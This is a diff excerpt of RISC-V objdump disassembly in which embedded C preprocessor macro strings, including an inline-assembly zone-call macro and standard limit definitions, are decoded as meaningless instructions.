+    8e46:	5f58                	lw	a4,60(a4)
+    8e48:	205f 7830 6666      	0x66667830205f
+    8e4e:	5500                	lw	s0,40(a0)
+    8e50:	4e49                	li	t3,18
+    8e52:	3154                	fld	fa3,160(a0)
+    8e54:	5f36                	lw	t5,108(sp)
+    8e56:	414d                	li	sp,19
+    8e58:	0058                	addi	a4,sp,4
+    8e5a:	5f5f 4343 535f      	0x535f43435f5f
+    8e60:	5055                	c.li	zero,-11
+    8e62:	4f50                	lw	a2,28(a4)
+    8e64:	5452                	lw	s0,52(sp)
+    8e66:	59445f53          	0x59445f53
+    8e6a:	414e                	lw	sp,208(sp)
+    8e6c:	494d                	li	s2,19
+    8e6e:	52415f43          	fmadd.d	ft10,ft2,ft4,fa0,unknown
+    8e72:	4152                	lw	sp,20(sp)
+    8e74:	5f59                	li	t5,-10
+    8e76:	4e49                	li	t3,18
+    8e78:	5449                	li	s0,-14
+    8e7a:	3120                	fld	fs0,96(a0)
+    8e7c:	5500                	lw	s0,40(a0)
+    8e7e:	4e49                	li	t3,18
+    8e80:	5f54                	lw	a3,60(a4)
+    8e82:	414d                	li	sp,19
+    8e84:	0058                	addi	a4,sp,4
+    8e86:	53495f53          	0x53495f53
+    8e8a:	4946                	lw	s2,80(sp)
+    8e8c:	4f46                	lw	t5,80(sp)
+    8e8e:	6d28                	flw	fa0,88(a0)
+    8e90:	2029                	jal	8e9a <__stack_size+0x869a>
+    8e92:	2828                	fld	fa0,80(s0)
+    8e94:	6d28                	flw	fa0,88(a0)
+    8e96:	2629                	jal	91a0 <__stack_size+0x89a0>
+    8e98:	495f 4d46 2954      	0x29544d46495f
+    8e9e:	3d20                	fld	fs0,120(a0)
+    8ea0:	203d                	jal	8ece <__stack_size+0x86ce>
+    8ea2:	495f 4946 4f46      	0x4f464946495f
+    8ea8:	0029                	c.nop	10
+    8eaa:	5a4d                	li	s4,-13
+    8eac:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    8eb0:	4552                	lw	a0,20(sp)
+    8eb2:	7a285643          	fmadd.d	fa2,fa6,ft2,fa5,unknown
+    8eb6:	2c656e6f          	jal	t3,5f17c <__stack_size+0x5e97c>
+    8eba:	736d                	lui	t1,0xffffb
+    8ebc:	28202967          	0x28202967
+    8ec0:	6572207b          	0x6572207b
+    8ec4:	74736967          	0x74736967
+    8ec8:	7265                	lui	tp,0xffff9
+    8eca:	7520                	flw	fs0,104(a0)
+    8ecc:	6e69                	lui	t3,0x1a
+    8ece:	3374                	fld	fa3,224(a4)
+    8ed0:	5f32                	lw	t5,44(sp)
+    8ed2:	2074                	fld	fa3,192(s0)
+    8ed4:	3061                	jal	875c <__stack_size+0x7f5c>
+    8ed6:	6120                	flw	fs0,64(a0)
+    8ed8:	28206d73          	csrrsi	s10,0x282,0
+    8edc:	6122                	flw	ft2,8(sp)
+    8ede:	2230                	fld	fa2,64(a2)
+    8ee0:	3b29                	jal	8bfa <__stack_size+0x83fa>
+    8ee2:	7220                	flw	fs0,96(a2)
+    8ee4:	6765                	lui	a4,0x19
+    8ee6:	7369                	lui	t1,0xffffa
+    8ee8:	6574                	flw	fa3,76(a0)
+    8eea:	2072                	fld	ft0,280(sp)
+    8eec:	6975                	lui	s2,0x1d
+    8eee:	746e                	flw	fs0,248(sp)
+    8ef0:	745f3233          	0x745f3233
+    8ef4:	6120                	flw	fs0,64(a0)
+    8ef6:	2032                	fld	ft0,264(sp)
+    8ef8:	7361                	lui	t1,0xffff8
+    8efa:	206d                	jal	8fa4 <__stack_size+0x87a4>
+    8efc:	2228                	fld	fa0,64(a2)
+    8efe:	3261                	jal	8886 <__stack_size+0x8086>
+    8f00:	2922                	fld	fs2,8(sp)
+    8f02:	6572203b          	0x6572203b
+    8f06:	74736967          	0x74736967
+    8f0a:	7265                	lui	tp,0xffff9
+    8f0c:	7520                	flw	fs0,104(a0)
+    8f0e:	6e69                	lui	t3,0x1a
+    8f10:	3374                	fld	fa3,224(a4)
+    8f12:	5f32                	lw	t5,44(sp)
+    8f14:	2074                	fld	fa3,192(s0)
+    8f16:	3361                	jal	8c9e <__stack_size+0x849e>
+    8f18:	6120                	flw	fs0,64(a0)
+    8f1a:	28206d73          	csrrsi	s10,0x282,0
+    8f1e:	6122                	flw	ft2,8(sp)
+    8f20:	3b292233          	0x3b292233
+    8f24:	7220                	flw	fs0,96(a2)
+    8f26:	6765                	lui	a4,0x19
+    8f28:	7369                	lui	t1,0xffffa
+    8f2a:	6574                	flw	fa3,76(a0)
+    8f2c:	2072                	fld	ft0,280(sp)
+    8f2e:	6975                	lui	s2,0x1d
+    8f30:	746e                	flw	fs0,248(sp)
+    8f32:	745f3233          	0x745f3233
+    8f36:	6120                	flw	fs0,64(a0)
+    8f38:	2034                	fld	fa3,64(s0)
+    8f3a:	7361                	lui	t1,0xffff8
+    8f3c:	206d                	jal	8fe6 <__stack_size+0x87e6>
+    8f3e:	2228                	fld	fa0,64(a2)
+    8f40:	3461                	jal	89c8 <__stack_size+0x81c8>
+    8f42:	2922                	fld	fs2,8(sp)
+    8f44:	6572203b          	0x6572203b
+    8f48:	74736967          	0x74736967
+    8f4c:	7265                	lui	tp,0xffff9
+    8f4e:	7520                	flw	fs0,104(a0)
+    8f50:	6e69                	lui	t3,0x1a
+    8f52:	3374                	fld	fa3,224(a4)
+    8f54:	5f32                	lw	t5,44(sp)
+    8f56:	2074                	fld	fa3,192(s0)
+    8f58:	3561                	jal	8de0 <__stack_size+0x85e0>
+    8f5a:	6120                	flw	fs0,64(a0)
+    8f5c:	28206d73          	csrrsi	s10,0x282,0
+    8f60:	6122                	flw	ft2,8(sp)
+    8f62:	2235                	jal	908e <__stack_size+0x888e>
+    8f64:	3b29                	jal	8c7e <__stack_size+0x847e>
+    8f66:	6120                	flw	fs0,64(a0)
+    8f68:	76206d73          	csrrsi	s10,0x762,0
+    8f6c:	74616c6f          	jal	s8,1f6b2 <__stack_size+0x1eeb2>
+    8f70:	6c69                	lui	s8,0x1a
+    8f72:	2065                	jal	901a <__stack_size+0x881a>
+    8f74:	2028                	fld	fa0,64(s0)
+    8f76:	6d22                	flw	fs10,8(sp)
+    8f78:	2076                	fld	ft0,344(sp)
+    8f7a:	3161                	jal	8c02 <__stack_size+0x8402>
+    8f7c:	202c                	fld	fa1,64(s0)
+    8f7e:	3525                	jal	8da6 <__stack_size+0x85a6>
+    8f80:	2022203b          	0x2022203b
+    8f84:	6c22                	flw	fs8,8(sp)
+    8f86:	2069                	jal	9010 <__stack_size+0x8810>
+    8f88:	3061                	jal	8810 <__stack_size+0x8010>
+    8f8a:	202c                	fld	fa1,64(s0)
+    8f8c:	20223b33          	0x20223b33
+    8f90:	7a6d                	lui	s4,0xffffb
+    8f92:	20656e6f          	jal	t3,5f198 <__stack_size+0x5e998>
+    8f96:	203a                	fld	ft0,392(sp)
+    8f98:	3d22                	fld	fs10,40(sp)
+    8f9a:	2272                	fld	ft4,280(sp)
+    8f9c:	6128                	flw	fa0,64(a0)
+    8f9e:	2930                	fld	fa2,80(a0)
+    8fa0:	202c                	fld	fa1,64(s0)
+    8fa2:	3d22                	fld	fs10,40(sp)
+    8fa4:	2272                	fld	ft4,280(sp)
+    8fa6:	6128                	flw	fa0,64(a0)
+    8fa8:	2932                	fld	fs2,264(sp)
+    8faa:	222c                	fld	fa1,64(a2)
+    8fac:	723d                	lui	tp,0xfffef
+    8fae:	2822                	fld	fa6,8(sp)
+    8fb0:	3361                	jal	8d38 <__stack_size+0x8538>
+    8fb2:	2c29                	jal	91cc <__stack_size+0x89cc>
+    8fb4:	3d22                	fld	fs10,40(sp)
+    8fb6:	2272                	fld	ft4,280(sp)
+    8fb8:	6128                	flw	fa0,64(a0)
+    8fba:	2934                	fld	fa3,80(a0)
+    8fbc:	222c                	fld	fa1,64(a2)
+    8fbe:	723d                	lui	tp,0xfffef
+    8fc0:	2822                	fld	fa6,8(sp)
+    8fc2:	3561                	jal	8e4a <__stack_size+0x864a>
+    8fc4:	2029                	jal	8fce <__stack_size+0x87ce>
+    8fc6:	203a                	fld	ft0,392(sp)
+    8fc8:	7222                	flw	ft4,40(sp)
+    8fca:	2822                	fld	fa6,8(sp)
+    8fcc:	6928                	flw	fa0,80(a0)
+    8fce:	746e                	flw	fs0,248(sp)
+    8fd0:	7a29                	lui	s4,0xfffea
+    8fd2:	29656e6f          	jal	t3,5f268 <__stack_size+0x5ea68>
+    8fd6:	3a20                	fld	fs0,112(a2)
+    8fd8:	2220                	fld	fs0,64(a2)
+    8fda:	3161                	jal	8c62 <__stack_size+0x8462>
+    8fdc:	2922                	fld	fs2,8(sp)
+    8fde:	282a203b          	0x282a203b
+    8fe2:	7528                	flw	fa0,104(a0)
+    8fe4:	6e69                	lui	t3,0x1a
+    8fe6:	3374                	fld	fa3,224(a4)
+    8fe8:	5f32                	lw	t5,44(sp)
+    8fea:	2074                	fld	fa3,192(s0)
+    8fec:	292a                	fld	fs2,136(sp)
+    8fee:	6d28                	flw	fa0,88(a0)
+    8ff0:	302b6773          	csrrsi	a4,medeleg,22
+    8ff4:	342a                	fld	fs0,168(sp)
+    8ff6:	2929                	jal	9410 <__stack_size+0x8c10>
+    8ff8:	3d20                	fld	fs0,120(a0)
+    8ffa:	6120                	flw	fs0,64(a0)
+    8ffc:	3b32                	fld	fs6,296(sp)
+    8ffe:	2a20                	fld	fs0,80(a2)
+    9000:	2828                	fld	fa0,80(s0)
+    9002:	6975                	lui	s2,0x1d
+    9004:	746e                	flw	fs0,248(sp)
+    9006:	745f3233          	0x745f3233
+    900a:	2a20                	fld	fs0,80(a2)
+    900c:	2829                	jal	9026 <__stack_size+0x8826>
+    900e:	736d                	lui	t1,0xffffb
+    9010:	2a312b67          	0x2a312b67
+    9014:	2934                	fld	fa3,80(a0)
+    9016:	2029                	jal	9020 <__stack_size+0x8820>
+    9018:	203d                	jal	9046 <__stack_size+0x8846>
+    901a:	3361                	jal	8da2 <__stack_size+0x85a2>
+    901c:	282a203b          	0x282a203b
+    9020:	7528                	flw	fa0,104(a0)
+    9022:	6e69                	lui	t3,0x1a
+    9024:	3374                	fld	fa3,224(a4)
+    9026:	5f32                	lw	t5,44(sp)
+    9028:	2074                	fld	fa3,192(s0)
+    902a:	292a                	fld	fs2,136(sp)
+    902c:	6d28                	flw	fa0,88(a0)
+    902e:	322b6773          	csrrsi	a4,mhcounteren,22
+    9032:	342a                	fld	fs0,168(sp)
+    9034:	2929                	jal	944e <__stack_size+0x8c4e>
+    9036:	3d20                	fld	fs0,120(a0)
+    9038:	6120                	flw	fs0,64(a0)
+    903a:	3b34                	fld	fa3,112(a4)
+    903c:	2a20                	fld	fs0,80(a2)
+    903e:	2828                	fld	fa0,80(s0)
+    9040:	6975                	lui	s2,0x1d
+    9042:	746e                	flw	fs0,248(sp)
+    9044:	745f3233          	0x745f3233
+    9048:	2a20                	fld	fs0,80(a2)
+    904a:	2829                	jal	9064 <__stack_size+0x8864>
+    904c:	736d                	lui	t1,0xffffb
+    904e:	2a332b67          	0x2a332b67
+    9052:	2934                	fld	fa3,80(a0)
+    9054:	2029                	jal	905e <__stack_size+0x885e>
+    9056:	203d                	jal	9084 <__stack_size+0x8884>
+    9058:	3561                	jal	8ee0 <__stack_size+0x86e0>
+    905a:	3061203b          	0x3061203b
+    905e:	297d203b          	0x297d203b
+    9062:	5300                	lw	s0,32(a4)
+    9064:	44454843          	0x44454843
+    9068:	465f 4649 204f      	0x204f4649465f
+    906e:	0031                	c.nop	12
+    9070:	5f5f 4d49 4f50      	0x4f504d495f5f
+    9076:	5452                	lw	s0,52(sp)
+    9078:	0020                	addi	s0,sp,8
+    907a:	5f5f 695f 746e      	0x746e695f5f5f
+    9080:	745f3233          	0x745f3233
+    9084:	645f 6665 6e69      	0x6e696665645f
+    908a:	6465                	lui	s0,0x19
+    908c:	3120                	fld	fs0,96(a0)
+    908e:	5f00                	lw	s0,56(a4)
+    9090:	435f 5f43 5553      	0x55535f43435f
+    9096:	5050                	lw	a2,36(s0)
+    9098:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
+    909c:	575f 5241 494e      	0x494e5241575f
+    90a2:	474e                	lw	a4,208(sp)
+    90a4:	3120                	fld	fs0,96(a0)
+    90a6:	5f00                	lw	s0,56(a4)
+    90a8:	495f 544e 3436      	0x3436544e495f
+    90ae:	545f 5059 5f45      	0x5f455059545f
+    90b4:	205f 6f6c 676e      	0x676e6f6c205f
+    90ba:	6c20                	flw	fs0,88(s0)
+    90bc:	20676e6f          	jal	t3,7f2c2 <__stack_size+0x7eac2>
+    90c0:	6e69                	lui	t3,0x1a
+    90c2:	0074                	addi	a3,sp,12
+    90c4:	495f 5246 4745      	0x47455246495f
+    90ca:	3020                	fld	fs0,96(s0)
+    90cc:	3031                	jal	88d8 <__stack_size+0x80d8>
+    90ce:	3030                	fld	fa2,96(s0)
+    90d0:	3030                	fld	fa2,96(s0)
     90d2:	5f00                	lw	s0,56(a4)
-    90d4:	465f 544c 3231      	0x3231544c465f
-    90da:	5f38                	lw	a4,120(a4)
-    90dc:	4148                	lw	a0,4(a0)
-    90de:	55515f53          	0x55515f53
-    90e2:	4549                	li	a0,18
-    90e4:	5f54                	lw	a3,60(a4)
-    90e6:	414e                	lw	sp,208(sp)
-    90e8:	5f4e                	lw	t5,240(sp)
-    90ea:	205f 0031 535f      	0x535f0031205f
-    90f0:	41535f43          	fmadd.s	ft10,ft6,fs5,fs0,unknown
-    90f4:	4556                	lw	a0,84(sp)
-    90f6:	5f44                	lw	s1,60(a4)
-    90f8:	4449                	li	s0,18
-    90fa:	00362053          	fadd.s	ft0,fa2,ft3,rdn
-    90fe:	5f5f 4e53 4642      	0x46424e535f5f
-    9104:	3020                	fld	fs0,96(s0)
-    9106:	3078                	fld	fa4,224(s0)
-    9108:	3030                	fld	fa2,96(s0)
-    910a:	0032                	c.slli	zero,0xc
-    910c:	505f 4854 4552      	0x45524854505f
-    9112:	4441                	li	s0,16
-    9114:	4f5f 434e 5f45      	0x5f45434e4f5f
-    911a:	4e49                	li	t3,18
-    911c:	5449                	li	s0,-14
-    911e:	7b20                	flw	fs0,112(a4)
-    9120:	3120                	fld	fs0,96(a0)
-    9122:	202c                	fld	fa1,64(s0)
-    9124:	2030                	fld	fa2,64(s0)
-    9126:	007d                	c.nop	31
-    9128:	63746567          	0x63746567
-    912c:	6168                	flw	fa0,68(a0)
-    912e:	5f72                	lw	t5,60(sp)
-    9130:	6e75                	lui	t3,0x1d
-    9132:	6f6c                	flw	fa1,92(a4)
-    9134:	64656b63          	bltu	a0,t1,978a <__stack_size+0x8f8a>
-    9138:	2928                	fld	fa0,80(a0)
-    913a:	5f20                	lw	s0,120(a4)
-    913c:	63746567          	0x63746567
-    9140:	6168                	flw	fa0,68(a0)
-    9142:	5f72                	lw	t5,60(sp)
-    9144:	6e75                	lui	t3,0x1d
-    9146:	6f6c                	flw	fa1,92(a4)
-    9148:	64656b63          	bltu	a0,t1,979e <__stack_size+0x8f9e>
-    914c:	2928                	fld	fa0,80(a0)
-    914e:	5f00                	lw	s0,56(a4)
-    9150:	4f4e                	lw	t5,208(sp)
-    9152:	4e49                	li	t3,18
-    9154:	494c                	lw	a1,20(a0)
-    9156:	454e                	lw	a0,208(sp)
-    9158:	535f 4154 4954      	0x49544154535f
-    915e:	4e5f2043          	fmadd.q	ft0,ft10,ft5,fs1,rdn
-    9162:	4c4e494f          	0x4c4e494f
-    9166:	4e49                	li	t3,18
-    9168:	2045                	jal	9208 <__stack_size+0x8a08>
-    916a:	74617473          	csrrci	s0,0x746,2
-    916e:	6369                	lui	t1,0x1a
-    9170:	7300                	flw	fs0,32(a4)
-    9172:	5f74                	lw	a3,124(a4)
-    9174:	7461                	lui	s0,0xffff8
-    9176:	6d69                	lui	s10,0x1a
-    9178:	2065                	jal	9220 <__stack_size+0x8a20>
-    917a:	615f7473          	csrrci	s0,0x615,30
-    917e:	6974                	flw	fa3,84(a0)
-    9180:	2e6d                	jal	953a <__stack_size+0x8d3a>
-    9182:	7674                	flw	fa3,108(a2)
-    9184:	735f 6365 5f00      	0x5f006365735f
-    918a:	4f4c                	lw	a1,28(a4)
-    918c:	474e                	lw	a4,208(sp)
-    918e:	445f 554f 4c42      	0x4c42554f445f
+    90d4:	4346                	lw	t1,80(sp)
+    90d6:	4552                	lw	a0,20(sp)
+    90d8:	5441                	li	s0,-16
+    90da:	3020                	fld	fs0,96(s0)
+    90dc:	3078                	fld	fa4,224(s0)
+    90de:	3032                	fld	ft0,296(sp)
+    90e0:	0030                	addi	a2,sp,8
+    90e2:	5f5f 6172 676e      	0x676e61725f5f
+    90e8:	6f65                	lui	t5,0x19
+    90ea:	2866                	fld	fa6,88(sp)
+    90ec:	7974                	flw	fa3,116(a0)
+    90ee:	6570                	flw	fa2,76(a0)
+    90f0:	732c                	flw	fa1,96(a4)
+    90f2:	6174                	flw	fa3,68(a0)
+    90f4:	7472                	flw	fs0,60(sp)
+    90f6:	652c                	flw	fa1,72(a0)
+    90f8:	646e                	flw	fs0,216(sp)
+    90fa:	2029                	jal	9104 <__stack_size+0x8904>
+    90fc:	5f28                	lw	a0,120(a4)
+    90fe:	6f5f 6666 6573      	0x657366666f5f
+    9104:	6f74                	flw	fa3,92(a4)
+    9106:	2866                	fld	fa6,88(sp)
+    9108:	7974                	flw	fa3,116(a0)
+    910a:	6570                	flw	fa2,76(a0)
+    910c:	202c                	fld	fa1,64(s0)
+    910e:	6e65                	lui	t3,0x19
+    9110:	2964                	fld	fs1,208(a0)
+    9112:	2d20                	fld	fs0,88(a0)
+    9114:	5f20                	lw	s0,120(a4)
+    9116:	6f5f 6666 6573      	0x657366666f5f
+    911c:	6f74                	flw	fa3,92(a4)
+    911e:	2866                	fld	fa6,88(sp)
+    9120:	7974                	flw	fa3,116(a0)
+    9122:	6570                	flw	fa2,76(a0)
+    9124:	202c                	fld	fa1,64(s0)
+    9126:	72617473          	csrrci	s0,0x726,2
+    912a:	2974                	fld	fa3,208(a0)
+    912c:	0029                	c.nop	10
+    912e:	535f 5f43 4f58      	0x4f585f43535f
+    9134:	4550                	lw	a2,12(a0)
+    9136:	5f4e                	lw	t5,240(sp)
+    9138:	4556                	lw	a0,84(sp)
+    913a:	5352                	lw	t1,52(sp)
+    913c:	4f49                	li	t5,18
+    913e:	204e                	fld	ft0,208(sp)
+    9140:	3031                	jal	894c <__stack_size+0x814c>
+    9142:	0036                	c.slli	zero,0xd
+    9144:	5f474953          	0x5f474953
+    9148:	5441                	li	s0,-16
+    914a:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    914e:	4d5f 4e49 5f20      	0x5f204e494d5f
+    9154:	535f 4749 415f      	0x415f4749535f
+    915a:	4f54                	lw	a3,28(a4)
+    915c:	494d                	li	s2,19
+    915e:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
+    9162:	5f4e                	lw	t5,240(sp)
+    9164:	005f 5f5f 695f      	0x695f5f5f005f
+    916a:	746e                	flw	fs0,248(sp)
+    916c:	705f 7274 6964      	0x69647274705f
+    9172:	6666                	flw	fa2,88(sp)
+    9174:	745f 685f 0020      	0x20685f745f
+    917a:	5f5f 4347 5f43      	0x5f4343475f5f
+    9180:	5441                	li	s0,-16
+    9182:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    9186:	435f 4148 5f52      	0x5f524148435f
+    918c:	4f4c                	lw	a1,28(a4)
+    918e:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    9192:	4552                	lw	a0,20(sp)
     9194:	2045                	jal	9234 <__stack_size+0x8a34>
-    9196:	6f6c                	flw	fa1,92(a4)
-    9198:	676e                	flw	fa4,216(sp)
-    919a:	6420                	flw	fs0,72(s0)
-    919c:	6c62756f          	jal	a0,30862 <__stack_size+0x30062>
-    91a0:	0065                	c.nop	25
-    91a2:	575f 4e41 5f54      	0x5f544e41575f
-    91a8:	4f49                	li	t5,18
-    91aa:	435f 3939 465f      	0x465f3939435f
-    91b0:	414d524f          	fnmadd.s	ft4,fs10,fs4,fs0,unknown
-    91b4:	5354                	lw	a3,36(a4)
-    91b6:	3120                	fld	fs0,96(a0)
-    91b8:	4900                	lw	s0,16(a0)
-    91ba:	544e                	lw	s0,240(sp)
-    91bc:	4d5f3233          	0x4d5f3233
-    91c0:	4e49                	li	t3,18
-    91c2:	5f00                	lw	s0,56(a4)
-    91c4:	4f5f 5342 4c4f      	0x4c4f53424f5f
-    91ca:	5445                	li	s0,-15
-    91cc:	5f45                	li	t5,-15
-    91ce:	414d                	li	sp,19
-    91d0:	4854                	lw	a3,20(s0)
-    91d2:	5f20                	lw	s0,120(a4)
-    91d4:	4f5f 5342 4c4f      	0x4c4f53424f5f
-    91da:	5445                	li	s0,-15
-    91dc:	5f45                	li	t5,-15
-    91de:	414d                	li	sp,19
-    91e0:	4854                	lw	a3,20(s0)
-    91e2:	445f 4645 5541      	0x55414645445f
-    91e8:	544c                	lw	a1,44(s0)
-    91ea:	4900                	lw	s0,16(a0)
-    91ec:	544e                	lw	s0,240(sp)
-    91ee:	3631                	jal	8cfa <__stack_size+0x84fa>
-    91f0:	435f 6328 2029      	0x20296328435f
-    91f6:	5f5f 4e49 3154      	0x31544e495f5f
-    91fc:	5f36                	lw	t5,108(sp)
-    91fe:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    9202:	5f00                	lw	s0,56(a4)
-    9204:	49525453          	0x49525453
-    9208:	474e                	lw	a4,208(sp)
-    920a:	5f485f53          	0x5f485f53
-    920e:	0020                	addi	s0,sp,8
-    9210:	4e49                	li	t3,18
-    9212:	3854                	fld	fa3,176(s0)
-    9214:	4d5f 4e49 2820      	0x28204e494d5f
-    921a:	492d                	li	s2,11
-    921c:	544e                	lw	s0,240(sp)
-    921e:	5f38                	lw	a4,120(a4)
-    9220:	414d                	li	sp,19
-    9222:	2058                	fld	fa4,128(s0)
-    9224:	202d                	jal	924e <__stack_size+0x8a4e>
-    9226:	2931                	jal	9642 <__stack_size+0x8e42>
-    9228:	5f00                	lw	s0,56(a4)
-    922a:	465f 544c 3233      	0x3233544c465f
-    9230:	485f 5341 515f      	0x515f5341485f
-    9236:	4955                	li	s2,21
-    9238:	5445                	li	s0,-15
-    923a:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
-    9240:	3120                	fld	fs0,96(a0)
-    9242:	5000                	lw	s0,32(s0)
-    9244:	504d                	c.li	zero,-13
-    9246:	525f 3120 3c3c      	0x3c3c3120525f
-    924c:	0030                	addi	a2,sp,8
-    924e:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    9254:	4349                	li	t1,18
-    9256:	525f 4c45 4145      	0x41454c45525f
-    925c:	33204553          	0x33204553
-    9260:	5f00                	lw	s0,56(a4)
-    9262:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9268:	4f4e                	lw	t5,208(sp)
-    926a:	4d52                	lw	s10,20(sp)
-    926c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9272:	3120                	fld	fs0,96(a0)
-    9274:	312e                	fld	ft2,232(sp)
-    9276:	3938                	fld	fa4,112(a0)
-    9278:	34313337          	lui	t1,0x34313
-    927c:	3539                	jal	908a <__stack_size+0x888a>
-    927e:	32373533          	0x32373533
-    9282:	36373133          	0x36373133
-    9286:	3035                	jal	8ab2 <__stack_size+0x82b2>
-    9288:	3538                	fld	fa4,104(a0)
-    928a:	33393537          	lui	a0,0x33393
-    928e:	3632                	fld	fa2,296(sp)
-    9290:	3236                	fld	ft4,360(sp)
-    9292:	3038                	fld	fa4,96(s0)
-    9294:	3730                	fld	fa2,104(a4)
-    9296:	3230                	fld	fa2,96(a2)
-    9298:	2b65                	jal	9850 <__stack_size+0x9050>
-    929a:	3934                	fld	fa3,112(a0)
-    929c:	004c3233          	sltu	tp,s8,tp
-    92a0:	5750                	lw	a2,44(a4)
-    92a2:	5f4d                	li	t5,-13
-    92a4:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    92a8:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
-    92ac:	5049                	c.li	zero,-14
-    92ae:	3020                	fld	fs0,96(s0)
-    92b0:	3478                	fld	fa4,232(s0)
-    92b2:	3030                	fld	fa2,96(s0)
-    92b4:	3030                	fld	fa2,96(s0)
-    92b6:	3030                	fld	fa2,96(s0)
-    92b8:	0030                	addi	a2,sp,8
-    92ba:	5f5f 4f43 5950      	0x59504f435f5f
-    92c0:	4952                	lw	s2,20(sp)
-    92c2:	28544847          	fmsub.s	fa6,fs0,ft5,ft5,rmm
-    92c6:	73202973          	csrr	s2,0x732
-    92ca:	7274                	flw	fa3,100(a2)
-    92cc:	6375                	lui	t1,0x1d
-    92ce:	2074                	fld	fa3,192(s0)
-    92d0:	5f5f 6168 6b63      	0x6b6361685f5f
-    92d6:	5f00                	lw	s0,56(a4)
-    92d8:	4552                	lw	a0,20(sp)
-    92da:	4441                	li	s0,16
-    92dc:	575f 4952 4554      	0x45544952575f
-    92e2:	525f 5445 5255      	0x52555445525f
-    92e8:	5f4e                	lw	t5,240(sp)
-    92ea:	5954                	lw	a3,52(a0)
-    92ec:	4550                	lw	a2,12(a0)
-    92ee:	5f20                	lw	s0,120(a4)
-    92f0:	7a697373          	csrrci	t1,0x7a6,18
-    92f4:	5f65                	li	t5,-7
-    92f6:	0074                	addi	a3,sp,12
-    92f8:	575f 4449 5f45      	0x5f454449575f
-    92fe:	4549524f          	0x4549524f
-    9302:	544e                	lw	s0,240(sp)
-    9304:	3120                	fld	fs0,96(a0)
-    9306:	4500                	lw	s0,8(a0)
-    9308:	4958                	lw	a4,20(a0)
-    930a:	5f54                	lw	a3,60(a4)
-    930c:	4146                	lw	sp,80(sp)
-    930e:	4c49                	li	s8,18
-    9310:	5255                	li	tp,-11
-    9312:	2045                	jal	93b2 <__stack_size+0x8bb2>
-    9314:	0031                	c.nop	12
-    9316:	7270                	flw	fa2,100(a2)
-    9318:	6e69                	lui	t3,0x1a
-    931a:	5f74                	lw	a3,124(a4)
-    931c:	5f757063          	bgeu	a0,s7,98fc <__stack_size+0x90fc>
-    9320:	6e69                	lui	t3,0x1a
-    9322:	6f66                	flw	ft10,88(sp)
-    9324:	5f00                	lw	s0,56(a4)
-    9326:	4d5f4353          	0x4d5f4353
-    932a:	4d45                	li	s10,17
-    932c:	5f59524f          	fnmadd.q	ft4,fs2,fs5,fa1,unknown
-    9330:	5250                	lw	a2,36(a2)
-    9332:	4345544f          	fnmadd.d	fs0,fa0,fs4,fs0,unknown
-    9336:	4954                	lw	a3,20(a0)
-    9338:	32204e4f          	fnmadd.d	ft8,ft0,ft2,ft6,rmm
-    933c:	0036                	c.slli	zero,0xd
-    933e:	46495f53          	0x46495f53
-    9342:	4e4c                	lw	a1,28(a2)
-    9344:	495f204b          	fnmsub.s	ft0,ft10,fs5,fs1,rdn
-    9348:	4c46                	lw	s8,80(sp)
-    934a:	4b4e                	lw	s6,208(sp)
-    934c:	4700                	lw	s0,8(a4)
-    934e:	4950                	lw	a2,20(a0)
-    9350:	45525f4f          	0x45525f4f
-    9354:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
-    9358:	7366                	flw	ft6,120(sp)
-    935a:	7465                	lui	s0,0xffff9
-    935c:	2029                	jal	9366 <__stack_size+0x8b66>
-    935e:	525f 4745 3233      	0x32334745525f
-    9364:	4728                	lw	a0,72(a4)
-    9366:	4950                	lw	a2,20(a0)
-    9368:	41425f4f          	fnmadd.s	ft10,ft4,fs4,fs0,unknown
-    936c:	202c4553          	0x202c4553
-    9370:	7366666f          	jal	a2,6faa6 <__stack_size+0x6f2a6>
-    9374:	7465                	lui	s0,0xffff9
-    9376:	0029                	c.nop	10
-    9378:	5f46                	lw	t5,112(sp)
-    937a:	4c544553          	0x4c544553
-    937e:	0038204b          	fnmsub.s	ft0,fa6,ft3,ft0,rdn
-    9382:	5f5f 6972 6373      	0x637369725f5f
-    9388:	5f76                	lw	t5,124(sp)
-    938a:	6c78                	flw	fa4,92(s0)
-    938c:	6e65                	lui	t3,0x19
-    938e:	3320                	fld	fs0,96(a4)
-    9390:	0032                	c.slli	zero,0xc
-    9392:	535f 5f43 4f4d      	0x4f4d5f43535f
-    9398:	4f4e                	lw	t5,208(sp)
-    939a:	4f54                	lw	a3,28(a4)
-    939c:	494e                	lw	s2,208(sp)
-    939e:	4c435f43          	0x4c435f43
-    93a2:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    93a6:	3936                	fld	fs2,360(sp)
-    93a8:	4c00                	lw	s0,24(s0)
-    93aa:	5449                	li	s0,-14
-    93ac:	4c54                	lw	a3,28(s0)
-    93ae:	5f45                	li	t5,-15
-    93b0:	4e45                	li	t3,17
-    93b2:	4944                	lw	s1,20(a0)
-    93b4:	4e41                	li	t3,16
-    93b6:	5f20                	lw	s0,120(a4)
-    93b8:	494c                	lw	a1,20(a0)
-    93ba:	5454                	lw	a3,44(s0)
-    93bc:	454c                	lw	a1,12(a0)
-    93be:	455f 444e 4149      	0x4149444e455f
-    93c4:	004e                	c.slli	zero,0x13
-    93c6:	59535f4f          	fnmadd.s	ft10,ft6,fs5,fa1,unknown
-    93ca:	434e                	lw	t1,208(sp)
-    93cc:	5f20                	lw	s0,120(a4)
-    93ce:	5346                	lw	t1,112(sp)
-    93d0:	4e59                	li	t3,22
-    93d2:	4f460043          	fmadd.q	ft0,fa2,fs4,fs1,rne
-    93d6:	4550                	lw	a2,12(a0)
-    93d8:	204e                	fld	ft0,208(sp)
-    93da:	465f 504f 4e45      	0x4e45504f465f
-    93e0:	4900                	lw	s0,16(a0)
-    93e2:	544e                	lw	s0,240(sp)
